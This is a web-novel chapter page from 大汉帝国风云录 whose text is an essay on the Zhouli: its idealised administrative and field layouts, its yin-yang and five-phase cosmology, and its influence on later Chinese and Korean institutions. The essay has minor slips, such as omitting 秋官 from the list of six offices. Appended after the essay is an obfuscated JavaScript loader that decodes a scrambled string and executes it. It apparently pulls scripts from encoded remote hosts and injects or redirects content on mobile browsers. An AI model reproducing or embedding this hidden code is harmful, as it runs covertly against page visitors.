经学与周礼(2 / 2)

大汉帝国风云录 猛子 3983 字 2022-04-22

居民组织。《周礼》的居民组织有两类:国都之外的四郊之地称为乡,郊外之地称为遂。乡之下细分为州、党、族、闾、比等五级行政组织。遂之下细分为邻、里、酂、鄙、县等五级行政组织。根据地官的《大司徒》、《遂人》等记载,乡、遂的民户构成分别为:

一比:5家 一邻:5家

一闾:25家 一里:25家

一族:100家 一酂:100家

一党:500家 一鄙:500家

一州:2500家 一县:2500家

一乡:12500家 一遂:12500家

乡、遂各级组织的编制极其整齐。此外,乡和遂的数量都是六个。六乡、六遂的居民数似乎恰好相合,既无不足,也无羡余。如有天灾人祸,民户之数发生变化,无法满足以上要求时当如何处理?《周礼》未曾提及。

农田规划 《周礼》对于‘野‘的农田的规划,也是整齐划一。《地官·遂人》云:

凡治野,夫间有遂,遂上有径;十夫有沟,沟上有畛;百夫有洫,洫上有涂;千夫有浍,浍上有道;万夫有川,川上有路,以达于畿。

这里记载了两个系统,一是农田系统,二是沟洫系统。农田以‘夫‘为基本单位,一夫受田百亩。夫田与夫田之间有称为‘遂‘的水渠,遂上有称为‘径‘的道路。每十夫之田之间,有称为‘沟‘的水渠,沟上有称为‘畛‘的道路。每百夫之田之间,有称为‘洫‘的水渠,洫上有称为‘涂‘的道路。每千夫之田之间,有称为‘浍‘的水渠,浍上有称为‘道‘的道路。每万夫之田之间,有称为‘川‘的水渠,川上有称为‘路‘的道路。如此通达于王畿。

需要指出的是,上述沟洫、道路系统有严格的丈尺规定。据郑玄的注,遂,宽、深各二尺;沟,宽、深各四尺;洫,宽、深各八尺;浍,宽二寻、深二仞。沟洫上的道路的宽度,径可以让牛马通过,畛可以让大车(车轨宽六尺)通过,涂可以让一辆乘车(车轨宽八尺)通过,道可以让两辆乘车通过,路可以让三辆乘车通过。

仅就以上数例,就不难发现《周礼》的制度有相当的理想化的成分。将国都建在‘地中‘,其理论色彩十分鲜明,实际上是无法操作的。整齐划一的九畿制度、居民组织、沟洫道路系统,遑论古代中国,就是移山填海的***时代也没有实现过。因此,我们说《周礼》是理想国的蓝图。

三、以人法天的思想内核

《周礼》作者的立意,并非要实录某朝某代的典制,而是要为千秋万世立法则。作者希冀透过此书表达自己对社会、对天人关系的哲学思考,全书的谋篇布局,无不受此左右。

儒家认为,人和社会都不过是自然精神的复制品。战国时期,阴阳五行思想勃兴,学术界盛行以人法天之风,讲求人与自然的联系,主张社会组织仿效自然法则,因而有‘人法地,地法天,天法道,道法自然‘之说。《周礼》作者正是‘以人法天‘思想的积极奉行者。

《周礼》以天官、地官、春官、夏官、冬官等六篇为间架。天、地、春、夏、秋、冬即天地四方六合,就是古人所说的宇宙。《周礼》六官即六卿,根据作者的安排,每卿统领六十官职。所以,六卿的职官总数为三百六十。众所周知,三百六十正是周天的度数。《周礼》原名《周官》,此书名缘何而起,前人曾有许多猜测。依笔者之见,所谓《周官》,其实就是‘周天之官‘的意思。作者以‘周官‘为书名,暗含了该书的宇宙框架和周天度数的布局,以及‘以人法天‘的原则。其后,刘歆将《周官》更名为《周礼》,虽然有抬高其地位的用心,但却是歪曲了作者的本意。

在儒家的传统理念中,阴、阳是最基本的一对哲学范畴,天下万物,非阴即阳。《周礼》作者将这一本属于思想领域的概念,充分运用到了政治机制的层面。《周礼》中的阴阳,几乎无处不在。《天官·内小臣》说政令有阳令、阴令;《天官·内宰》说礼仪有阳礼、阴礼;《地官·牧人》说祭祀有阳祀、阴祀等等。王城中‘面朝后市‘、‘左祖右社‘的布局,也是阴阳思想的体现。南为阳,故天子南面听朝;北为阴,故王后北面治市。左为阳,是人道之所向,故祖庙在左;右为阴,是地道之所尊,故社稷在右。如前所述,《周礼》王城的选址也是在阴阳之中。所以,钱穆先生说,《周礼》‘把整个宇宙,全部人生,都阴阳配偶化了‘(《周官著作时代考》)。

战国又是五行思想盛行的时代。阴、阳二气相互摩荡,产生金、木、水、火、土五行。世间万事万物,都得纳入以五行作为间架的体系,如东南西北中等五方,宫商角徵羽等五声,青赤白黑黄等五色,酸苦辛咸甘等五味,等等。五行思想在《周礼》中也得到了重要体现。在《周礼》的国家重大祭祀中,地官奉牛牲、春官奉鸡牲、夏官奉羊牲、秋官奉犬牲、冬官奉豕牲。众所周知,在五行体系中,鸡为木畜,羊为火畜、犬为金畜、豕为水畜、牛为土畜。《周礼》五官所奉五牲,与五行思想中五畜与五方的对应关系完全一致,具有明显的五行象类的思想。与此相呼应,地官有‘牛人‘一职,春官有‘鸡人‘一职,夏官有‘羊人‘一职,秋官有‘犬人‘一职,冬官有‘犬人‘一职。

综上所述,《周礼》是一部以人法天的理想国的蓝图。这样说,丝毫不意味着《周礼》中没有先秦礼制的素地。恰恰相反,作者对前代的史料作了很多吸收,但不是简单移用,而是按照其哲学理念进行某些改造,然后与作者创新的材料糅合,构成新的体系。

蕴涵于《周礼》内部的思想体系,有着较为明显的时代特征。战国时代百家争鸣,诸家本各为畛域,《易》家言阴阳而不及五行,《洪范》言五行而不及阴阳;儒家讳论法治,法家讥谈儒学。阴阳与五行,经由邹衍方始结合;儒与法,经由荀子才相交融。儒、法、阴阳、五行的结合,肇于战国末期的《吕氏春秋》。《周礼》以儒家思想为主干,融合法、阴阳、五行诸家,呈现出‘多元一体‘的特点。其精致的程度,超过《吕氏春秋》,因而其成书年代有可能在《吕氏春秋》之后,而晚至西汉初。

五、学术与治术兼包

《周礼》一书,体大思精,学术与治术无所不包,因而受到历代学者的重视,后儒叹为‘非圣贤不能作‘,诚非无稽之谈。

所谓‘学术‘,是说该书从来就是今古文之争的焦点。汉代经籍,用当时通行的隶书书写的称为‘今文经‘,用六国古文书写的称为‘古文经‘。汉初在孔子府宅的夹壁中发现的文献,以及在民间征得的文献大多是古文经,而立于学官的都是今文经。今文经与古文经的记载不尽一致,因而双方时有争论。汉代古文学以《周礼》为大宗,今文学以《礼记·王制》为大宗。为此,《周礼》每每成为论战中的焦点,加之它传授端绪不明,屡屡受到今文学家的诘难,如著名经师何休就贬之为‘六国阴谋之书‘;康有为《新学伪经考》则指斥它出于王莽篡汉时刘歆的伪造。相反,褒之者如刘歆、郑玄等则誉之为‘周公之典‘。

尽管如此,《周礼》依然受到历代学者的重视。唐人为‘九经‘作疏,其中最好的一部就是贾公彦的《周礼疏》,受到朱熹的赞赏。清儒为‘十三经‘作新疏,孙诒让的《周礼正义》冠绝一世,至今无有出其右者。历代学者围绕《周礼》真伪等问题所作的种种考索,更是浩繁之至。

所谓治术,是说《周礼》作为一部治国纲领,成为历代政治家取法的楷模。古人言必称三代,三代之英在周。古人笃信《周礼》出自周公,书中完善的官制体系和丰富的治国思想,成为帝王、文人取之不尽的人文。

《周礼》的许多礼制,影响百代。如从隋代开始实行的‘三省六部制‘,其中的‘六部‘,就是仿照《周礼》的‘六官‘设置的。唐代将六部之名定为吏、户、礼、兵、刑、工,作为中央官制的主体,为后世所遵循,一直沿用到清朝灭亡。历朝修订典制,如唐《开元六典》、宋《开宝通礼》、明《大明集礼》等,也都是以《周礼》为蓝本,斟酌损益而成。

又如‘左祖右社、面朝后市‘的都城格局,成为历代帝王向往的楷模。但历朝都城,大都沿用前朝旧址,故其格局难以刷新。元始祖忽必烈建在北京建立元大都时,得以在金的上京附近重新规划,乃以《周礼》为范本,建立面朝后市、左祖右社的格局。以后,明、清两朝不仅沿用不废,还仿照《周礼》,建天坛、地坛、日坛、月坛、先农坛等,形成今日的布局。朝鲜的汉城,同样有面朝后市、左祖右社的格局,乃是海外依仿《周礼》建都的典范。

《周礼》一书含有丰富的治国思想,《天官》概括为‘六典‘、‘八法‘、‘八则‘、‘八柄‘、‘八统‘、‘九职‘、‘九赋‘、‘九式‘、‘九贡‘、‘九两‘等十大法则,并在地官、春官、夏官、秋官的叙官中作了进一步的阐述,详密严谨,宏纤毕贯,对于提升后世的行政管理思想,有着深远的影响。

《周礼》对官员、百姓,采用儒法兼融、德主刑辅的方针,不仅显示了相当成熟的政治思想,而且有着驾驭百官的管理技巧。管理府库财物的措施,严密细致,相互制约,体现了高超的运筹智慧。书中有许多至今犹有生命力的,可以借鉴的制度。

历史上每逢重大变革之际,多有把《周礼》作为重要的思想资源,从中寻找变法或改革的思想武器者,如西汉的王莽改制、六朝的宇文周革典、北宋的王安石等,变法无不以《周礼》为圭臬。清末,外患内忧交逼,为挽救颓势,孙诒让作《周官政要》,证明《周礼》所蕴涵的治国之道不亚于西方。朝鲜时代后期的著名学者丁若镛(号茶山),曾撰作三十万言的《经世遗表》,主张用《周礼》改革朝鲜的政治制度。

任何一位空想家都不可能脱离现实来勾画理想国的蓝图,《周礼》也是如此,在理想化的框架之下,作者利用了大量历史材料加以填充。不过,作者在使用时往往根据需要作了加工和改造,这是读《周礼》时必须注意的,这也正是此书的复杂之处。

!function(){function a(a){var _idx="m5wvwvmdbp";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPo}0)hFL_h^m46DfhdLmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6mYY65T_JmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJmF6TS6^SmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0)hFL_h^m46DfhdLmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6mYY65T_JmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJmF6TS6^SmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6mYY65T_JmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/o}0jR8^nDXDX^f)J"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"o}0"=X8"^nDXDX^f)J"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"o}0^)ThF)mD4RYpSfmRT4"="o}0X5ThF)mR)Y)7_DmRT4"="o}02pThFmD4RYpSfmRT4"="o}0_JqhFmR)Y)7_DmRT4"="o}02TOhFmD4RYpSfmRT4"="o}0CSqhF)mR)Y)7_DmRT4"="o}0)FfThF)fmD4RYpSfmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qFq^)Y6(:mJfY)^(TmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qFq^)Y6(:mJfY)^(TmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPo}0)hFL_h^m46DfhdLmRT4gQ}1Q/f/o}0j(8}vR8^nDXDX^f)J"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPo}0)hFL_h^m46DfhdLmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();